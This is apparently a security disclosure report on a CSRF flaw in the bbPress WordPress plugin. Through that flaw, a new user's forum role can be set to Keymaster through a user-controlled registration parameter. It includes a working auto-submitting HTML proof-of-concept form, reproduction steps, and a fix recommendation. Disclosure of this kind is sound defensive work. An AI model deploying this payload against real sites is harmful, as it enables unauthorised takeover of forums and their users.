Pivilege escalation of any new user to Keymaster caused by CSRF

How it was found

An attacker can escalate a newly registered user's forum role to bbp_keymaster without proper authentication. This occurs because bbPress fails to implement adequate CSRF protections when assigning forum roles, allowing an attacker to craft a malicious request that upgrades a targeted user’s forum privileges upon registration.

When an authenticated admin user visits the link, an new user is registered with the attacker's details, they receive an email containing login credentials.

Root Cause The bbp_user_add_role_on_register function assigns a user role based on a user-controlled POST parameter (bbp-forums-role).

Steps To Reproduce:

1. Install and activate the bbpress plugin.
2. Here is my CSRF form for the PoC.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Loading...</title>
</head>
<body onload="document.getElementById('csrf-form').submit();">

    <form id="csrf-form" action="http://localhost/victim/wp-login.php" method="POST">
        <input type="hidden" name="user_login" value="evilpen">
        <input type="hidden" name="user_email" value="[email protected]">
        <input type="hidden" name="action" value="register">
        <input type="hidden" name="bbp-forums-role" value="bbp_keymaster">
    </form>

</body>
</html>

3. Set up your wordpress instance to send emails, in my case I used the plugin wp-smtp mail.
4. Send a link to an authenticated admin user, when the user opens the link, the forum role of the new user is "Keymaster".

Recommendations

Implement CSRF Protection

Impact

While the compromised user remains a WordPress subscriber and does not obtain full site-wide administrative privileges, the bbp_keymaster role grants complete control over the bbPress forum, including managing topics, users, and settings, an attacker could modify discussions, delete content, or manipulate user roles within bbPress.